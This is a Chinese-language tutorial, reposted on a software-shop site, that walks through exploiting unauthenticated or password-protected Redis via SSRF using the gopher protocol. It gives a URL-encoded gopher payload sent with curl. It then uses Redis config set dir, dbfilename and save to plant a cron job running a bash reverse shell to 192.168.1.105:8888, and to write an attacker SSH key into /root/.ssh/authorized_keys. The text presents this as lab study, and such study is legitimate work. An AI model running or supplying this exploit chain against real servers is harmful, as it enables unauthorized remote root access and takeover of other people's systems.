展开菜单
首页 精品内容 本月促销 装机必备 Windows PDF教程 macOS软件 IOS软件 Android AI 专题
全部分类

当前位置:

首页 > 编程开发 > Redis中服务端请求伪造SSRF的示例分析

Redis中服务端请求伪造SSRF的示例分析

Redis Assistant
Redis Assistant

Redis Assistant 是一款为Redis设计的高效可视化管理与监控工具,提供多种操作模式,高效处理服务器数据。日常使用里的持续防护和信息管理会更突出,适合把安全控制放进长期使用流程中的场景。

¥19
Windows/macOS/Linux 2026-08-22
正版软件 Windows macOS软件 Linux 数据库管理工具
立即下载

SSRF,即服务端请求伪造。当服务器需要请求资源时,请求的资源、协议、路径等可被用户控制。即可造成SSRF攻击。本文着重研究通过gopher协议,对Redis服务进行SSRF攻击,进而getshell。gopher协议格式首先先了解gopher协议为何物,格式是什么样子:gopher://://_后接TCP数据流在我们测试攻击redis时,可以使用linux自带的curl进行测试。如果使用Centos,为了确保实验成功,最好将Centos的selinux关闭。关闭selinux:setenforce0攻击

本文目录

    SSRF,即服务端请求伪造。当服务器需要请求资源时,请求的资源、协议、路径等可被用户控制。即可造成SSRF攻击。

    本文着重研究通过 gopher协议 ,对 Redis服务 进行SSRF攻击,进而getshell。

    gopher协议格式

    首先先了解gopher协议为何物,格式是什么样子:

    gopher://://_后接TCP数据流

    在我们测试攻击redis时,可以使用 linux 自带的 curl进行测试。

    如果使用Centos,为了确保实验成功,最好将 Centos的 selinux关闭。

    关闭 selinux:

    setenforce 0

    攻击redis

    (1)实验环境搭建

    虚拟机装台 Centos7即可。

    redis安装:

    wget http://download.redis.io/releases/redis-4.0.6.tar.gz  //下载redis压缩包

    yum install gcc //安装make时必备的gcc

    tar -xzvf redis-4.0.6.tar.gz //解压压缩包 cd redis-4.0.6 //进入压缩包目录

    make MALLOC=libc //编译

    cd src //编译完成后会生成一个文件夹src,进入src文件夹

    make install //安装

    redis运行:

    在 redis-4.0.6 目录下,redis.conf 是最初始的redis配置文件

    redis-4.0.6/src 目录下,有两个最重要的可执行文件:

    redis-server -- 服务端

    redis-cli -- 客户端

    直接运行 服务端程序,即可开启 redis 服务。

    ./redis-server

    Redis中服务端请求伪造SSRF的示例分析

    直接运行 客户端程序,默认连接本地的redis服务:

    ./redis-cli

    (2)初探与介绍

    尝试攻击无密码的Redis:

    首先我们得开启抓包软件,捕获与redis通信的数据包。

    在Linux中,可以用tcpdump来抓流量:

    tcpdump -i lo -s 0 port 6379 -w redis.pcap

    若是抓本地接口的流量,注意是lo不是eth0

    我们先登录,然后执行 set key 操作:

    Redis中服务端请求伪造SSRF的示例分析

    将tcpdump抓到的包导出来,用wireshark打开,追踪TCP流

    只看我们输入的数据,不看服务端返回的数据,可以看到只有几行:

    Redis中服务端请求伪造SSRF的示例分析

    在 “显示和保存数据为” 这一位置,选择 Hex转储,将会得到如下的数据:

    Redis中服务端请求伪造SSRF的示例分析

    其中 画红色框的就是一会用到的payload

    将所有东西都复制出来,使用编辑器去掉除了红框以外的所有无关数据

    Redis中服务端请求伪造SSRF的示例分析

    然后给每个十六进制值前加上一个百分号,排成一行即可:

    Redis中服务端请求伪造SSRF的示例分析

    构造 curl 请求:

    curl -v 'gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%6b%65%79%31%0d%0a%24%36%0d%0a%76%61%6c%75%65%31%0d%0a' --output -

    回显:

    Redis中服务端请求伪造SSRF的示例分析

    查询key:

    Redis中服务端请求伪造SSRF的示例分析

    可以成功设置key。

    尝试攻击使用密码的redis:

    先配置redis为 需要密码登录:

    修改redis下的配置文件 redis.conf,搜索 requirepass 关键字。

    默认 requirepass 是被注释的,将注释符号删除,再在 requirepass 后面填写想要给 redis 设置的密码

    Redis中服务端请求伪造SSRF的示例分析

    配置好后启动 redis 的命令为:

    ./redis-server redis配置文件路径

    Redis中服务端请求伪造SSRF的示例分析

    尝试攻击有密码redis:

    首先,开启tcpdump抓包,然后在redis命令行中执行操作:

    Redis中服务端请求伪造SSRF的示例分析

    重新抓流量,和之前一样操作,发现密码验证也就是加多了一个auth命令:

    Redis中服务端请求伪造SSRF的示例分析

    重复上文的步骤即可。

    (2)GetShell:

    接下来讲重点:通过 set key GetShell:

    思路:

    (1)将反弹shell命令写到定时任务里,攻击机只需要开一个netcat端口即可。

    (2)写入ssh-keygen,进行ssh免密登录。

    一个个细细道来。

    (1)定时任务反弹shell

    基本要求:

    redis需要是以 root 权限运行,不然写不到 /var/spool/cron/ 目录下

    1.首先得知道 Linux 下的定时任务是个什么东西:

    Linux下设置定时任务命令为 crontab

    配置文件为 /etc/crontab

    下面这张图是配置文件里的内容,很好的说明了 crontab 配置的格式

    Redis中服务端请求伪造SSRF的示例分析

    这个配置文件应该只是供参考用的,我们的定时任务需要自己手动写在 /var/spool/cron/ 目录下

    如果我们要每分钟执行一次命令 echo1 > /tmp/1.txt

    则可以这么操作:

    vim /var/spool/cron/root //root是文件名,一般以执行的用户命名

    在文件中写入

    * * * * * root echo1 > /tmp/1.txt

    保存退出后,重启 crontab 服务:

    systemctl restart crond.service

    即可每一分钟执行一次该命令

    2.接着要知道linux下通过输入输出流反弹shell

     命令:

    /bin/bash -i >& /dev/tcp/192.168.1.105/8888 0>&1

     直接看效果:Redis中服务端请求伪造SSRF的示例分析

    Redis中服务端请求伪造SSRF的示例分析

    这里巧妙的结合了Linux中 文件描述符、重定向符和 /dev/

    文件描述符 1 表示标准输入

    文件描述符 2 表示标准输出

    /bin/bash -i 表示的是调用bash命令的交互模式,并将交互模式重定向到 /dev/tcp/192.168.1.105/8888 中。

    重定向时加入一个描述符 &,表示直接作为数据流输入。不加 & 时,重定向默认是输出到文件里的。

    做个实例就清晰明了了

    Redis中服务端请求伪造SSRF的示例分析

    /dev/tcp/ip地址/端口号 是linux下的特殊文件,表示对这个地址端口进行tcp连接

    这里我们设置成攻击机监听的地址

    最后面的 0>&1 。此时攻击机和靶机已经建立好了连接,当攻击机进行输入时,就是这里的 0(标准输入)

    通过重定向符,重定向到 1(标准输入)中,由于是作为 /bin/bash 的标准输入,所以就执行了系统命令了。

    3.还需要知道Redis如何写入文件

    Redis 中可以导出当前数据库中的 key 和 value

    并且可以通过命令配置导出路径和文件名:

    config set dir /tmp/test      //设置导出路径
    config set dbfilename root    //设置导出文件名
    save                          //执行导出操作

    Redis中服务端请求伪造SSRF的示例分析

    Redis中服务端请求伪造SSRF的示例分析

    可以看到,格式非常乱。不过还好linux中的cron不会报错,只要读到一行正确配置即可执行。

    通过crontab定时任务 getshell

    为了能让linux能够正确读到一行,我们在 set key 的时候手动添加 \n(换行)

    redis语句:

    config set dir /var/spool/cron
    config set dbfilename root
    set test1 "\n\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.1.105/8888 0>&1\n\n\n"
    save

    转换成 gopher协议,进行curl请求:

    Redis中服务端请求伪造SSRF的示例分析

    成功写入:

    Redis中服务端请求伪造SSRF的示例分析

    成功getshell:

    Redis中服务端请求伪造SSRF的示例分析

    注意:这里有一个坑点。

    cron文件不需要写用户名,不然会报错:

    Redis中服务端请求伪造SSRF的示例分析

    Redis中服务端请求伪造SSRF的示例分析

    (2)ssh免密登录

    在linux中,ssh可配置成免密登录。

    需要修改 ssh 配置文件 /etc/ssh/sshd_config

    将

    #StrictModes yes

    改为

    StrictModes no

    然后重启sshd即可

    免密登录条件:

    客户端生成公钥和私钥

    将公钥上传至服务端 即可

    在SSRF利用中,同样需要root权限运行 redis

    如果不是root权限,需要能够 ssh 登录的用户权限运行 redis

    正常免密登录流程:

    1.客户端先生成公钥和私钥

    使用工具 ssh-keygen:

    ssh-keygen -t rsa

    Redis中服务端请求伪造SSRF的示例分析

    执行完毕后将会在 用户家目录中的 .ssh文件夹中放有公钥与私钥 文件

    有.pub后缀的就是公钥,没有.pub后缀的就是私钥

    Redis中服务端请求伪造SSRF的示例分析

    2.上传公钥至服务器

    将公钥上传至服务端的 /root/.ssh目录下

    嫌麻烦可以用 ssh-copy-id工具

    Redis中服务端请求伪造SSRF的示例分析

    Redis中服务端请求伪造SSRF的示例分析

    3.重命名文件为authorized_keys

    文件名要重命名为 authorized_keys

    authorized_keys 文件内容如下:

    Redis中服务端请求伪造SSRF的示例分析

    如果有多台客户端需要免密登录,新起一行,新行中写对应的客户端的公钥值即可

    类似这样:

    Redis中服务端请求伪造SSRF的示例分析

    4.免密登录

    传好后即可免密登录:

    Redis中服务端请求伪造SSRF的示例分析

    ssh免密登录 getshelll

    我们知道了要写入的文件位置、要写入的内容(公钥事先生成好),我们可以构造redis语句了:

    //先配置路径
    config set dir /root/.ssh      
    config set dbfilename authorized_keys
    //写入公钥
    set test2 "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/unZTA0b1HtFsgjXlWM4Bt65Ubx72z/dkLJrqCJJpfsD+F27uix6J3GWuIKaHurabFR40eJ2EqWWs/FCKpBvnJ+msSWWyn9C8WyWY19HydE9ldIO8SjdoOfQ7pf0Q2dwMKSr6F3L8Dy04ULQsCwGEu8X0fdwCZIggagTwGXWZS/M89APJKSVn7v5jhgRy/dCSGwN5wwFakSQSbWtW396V/iP2svU7IAznqIX4tyZII/DX1751LqA0ufVzIoK1Sc9E87swjupDD4ZGxX6ks676JYQHdZSYHoQioM9kWVsB2ntBfBsIFHu+yX1V9tkTTB0E5eaWuitzzsi8xfAz0xBag3f8wiPvlbuLV/TwOXHABGt1HQNhg5wnfZYnebRNdn5QeDXNY1XtLjc3T9UTYe7FmT6hG+RvI+7OSywDIvaGq+PjAQN1KPOBFJtNG5iha3bYds05zR5LCM8ZzLRTcKP9Djo79fum8iOC8DjrxVp49RilDobr1/oZzn+91YJIq1M= root@kali\n\n\n"
    //保存
    save

    改成gopher协议格式: 

    Redis中服务端请求伪造SSRF的示例分析

    查看 authorized_keys 文件:

    Redis中服务端请求伪造SSRF的示例分析 

    成功免密登录:

    Redis中服务端请求伪造SSRF的示例分析

    本站声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系bd@zhengruan.com
    作者最新文章
    编程开发
    相关文章 更多
    精品专题 更多
    装机必备

    正软商城装机必备专区,精选办公、浏览器、安全防护、影音播放、压缩解压、设计创作和系统工具等电脑常用正版软件,帮助用户快速完成新电脑软件配置。

    Windows

    正软商城Windows软件专区,汇集适用于Windows电脑的办公、设计、安全防护、影音播放、开发工具和系统优化软件,提供软件介绍、系统要求、正版授权及购买下载服务。

    PDF教程

    正软商城PDF教程频道提供PDF编辑、转换、合并、拆分、压缩及格式处理方法,同时介绍常用PDF软件和工具的使用技巧。

    macOS软件

    正软商城macOS软件专区,精选适用于Mac电脑的办公、设计、影音、效率、开发和系统工具,提供软件功能介绍、macOS兼容版本、正版授权及购买下载服务。

    IOS软件

    正软商城iOS软件专区,精选适用于iPhone和iPad的办公、学习、影音、设计、效率及AI应用,提供功能介绍、适用设备、系统要求和正版获取方式等信息。

    AI

    正软商城AI软件专区,汇集AI写作、AI绘画、AI视频、AI办公、AI编程、AI翻译、智能客服和数据分析等人工智能工具,提供功能介绍、适用平台、收费方式及正版购买信息。

    Mac软件 更多
    Aperty macOS版
    Aperty macOS版

    Aperty 是 Skylum 推出的 AI 人像修图软件,支持自然肤质修饰、瑕疵处理、面部与身体调整、预设及批量同步。

    火山引擎 网页版
    火山引擎 网页版

    火山引擎是字节跳动旗下企业级云与AI服务平台。聚焦大模型核心能力,依托字节自研豆包多模态大模型,凭借火山方舟一站式平台,提供模型精调、推理部署、智能应用搭建等全链路服务,结合高性能AI算力,助力各行业快速落地大模型数字化与智能化应用。

    立刻MV 网页版
    立刻MV 网页版

    立刻MV 面向音乐人、内容创作者和品牌团队,帮助用户低成本完成歌曲 MV、歌词视频、AI 分镜、图生视频与最终合成。

    蛙蛙写作 网页版
    蛙蛙写作 网页版

    蛙蛙写作 AI 创作工具,覆盖小说、剧本、文案,一键生成文稿,打通文字转视频全流程,高效解决创作难题。

    讯飞智作 网页版
    讯飞智作 网页版

    讯飞智作是一款基于语音合成技术、虚拟人驱动技术与数字人形象声音构建能力的 AI 数字人音视频创作平台。

    超级简历WonderCV 网页版
    超级简历WonderCV 网页版

    超级简历WonderCV是面向应届生和AI小白的智能求职平台,覆盖简历、面试与职业规划。

    音述AI 网页版
    音述AI 网页版

    音述AI,是一个以“用声音述说故事”为核心的 AI 音乐创作与声音分享社区。

    AionClaw macOS版
    AionClaw macOS版

    AionClaw 是可在桌面端运行的任务型 AI 助手,通过数字专家与技能市场组合办公、创作、数据和开发能力。

    Loomy macOS版
    Loomy macOS版

    Loomy 是科大讯飞推出的桌面 AI 助手,可通过对话、任务与工作目录协助处理办公、内容创作和资料整理。

    AirBuddy 3 macOS版
    AirBuddy 3 macOS版

    AirBuddy 3 是面向 macOS 的蓝牙外设增强工具,可集中查看 AirPods、Beats 与苹果设备电量,提供快速连接、播放控制、电量提醒、桌面小组件和多台 Mac 外设接力等功能。

    AirServer macOS版
    AirServer macOS版

    AirServer macOS版可把 Mac 转换为无线投屏接收端,通过 AirPlay 或 Google Cast 接收手机、平板和电脑画面,并支持多设备同时连接、高清镜像及会话录制,适合家庭娱乐、课堂教学、会议演示和应用展示。

    AnyDesk macOS版
    AnyDesk macOS版

    AnyDesk macOS版是一款适用于远程办公、设备维护和客户支持的远程桌面工具,可连接并操作异地计算机,支持文件传输、无人值守访问、会话权限控制及跨平台协作。

    WINDOWS 更多
    讯飞绘文 网页版
    讯飞绘文 网页版

    讯飞绘文网页版是科大讯飞推出的AI图文创作与内容运营工具,覆盖热点选题、文章生成、稿件校对、智能配图、排版发布和数据复盘等环节,适合自媒体创作者及内容团队在线使用。

    Maya(Autodesk Maya) Windows版
    Maya(Autodesk Maya) Windows版

    Autodesk Maya 是面向影视、电视、动画和游戏行业的专业三维制作软件,集多边形与 NURBS 建模、角色绑定、关键帧和动作捕捉动画、Bifrost 特效模拟、材质开发及 Arnold 渲染于一体,

    Aperty Windows版
    Aperty Windows版

    Aperty 是 Skylum 推出的 AI 人像修图软件,支持自然肤质修饰、瑕疵处理、面部与身体调整、预设及批量同步。

    火山引擎 网页版
    火山引擎 网页版

    火山引擎是字节跳动旗下企业级云与AI服务平台。聚焦大模型核心能力,依托字节自研豆包多模态大模型,凭借火山方舟一站式平台,提供模型精调、推理部署、智能应用搭建等全链路服务,结合高性能AI算力,助力各行业快速落地大模型数字化与智能化应用。

    立刻MV 网页版
    立刻MV 网页版

    立刻MV 面向音乐人、内容创作者和品牌团队,帮助用户低成本完成歌曲 MV、歌词视频、AI 分镜、图生视频与最终合成。

    蛙蛙写作 网页版
    蛙蛙写作 网页版

    蛙蛙写作 AI 创作工具,覆盖小说、剧本、文案,一键生成文稿,打通文字转视频全流程,高效解决创作难题。

    讯飞智作 网页版
    讯飞智作 网页版

    讯飞智作是一款基于语音合成技术、虚拟人驱动技术与数字人形象声音构建能力的 AI 数字人音视频创作平台。

    超级简历WonderCV 网页版
    超级简历WonderCV 网页版

    超级简历WonderCV是面向应届生和AI小白的智能求职平台,覆盖简历、面试与职业规划。

    音述AI 网页版
    音述AI 网页版

    音述AI,是一个以“用声音述说故事”为核心的 AI 音乐创作与声音分享社区。

    AionClaw Windows版
    AionClaw Windows版

    AionClaw 是可在桌面端运行的任务型 AI 助手,通过数字专家与技能市场组合办公、创作、数据和开发能力。

    Loomy Windows版
    Loomy Windows版

    Loomy 是科大讯飞推出的桌面 AI 助手,可通过对话、任务与工作目录协助处理办公、内容创作和资料整理。

    AirServer Windows版
    AirServer Windows版

    AirServer Windows版可把电脑变成AirPlay、Google Cast和Miracast无线投屏接收端,适合会议演示、课堂教学及家庭大屏分享。发送设备通常无需另装客户端,并可同时接收和智能排列多个镜像会话。

    即将离开本站
    您即将前往第三方网站,请确认是否继续?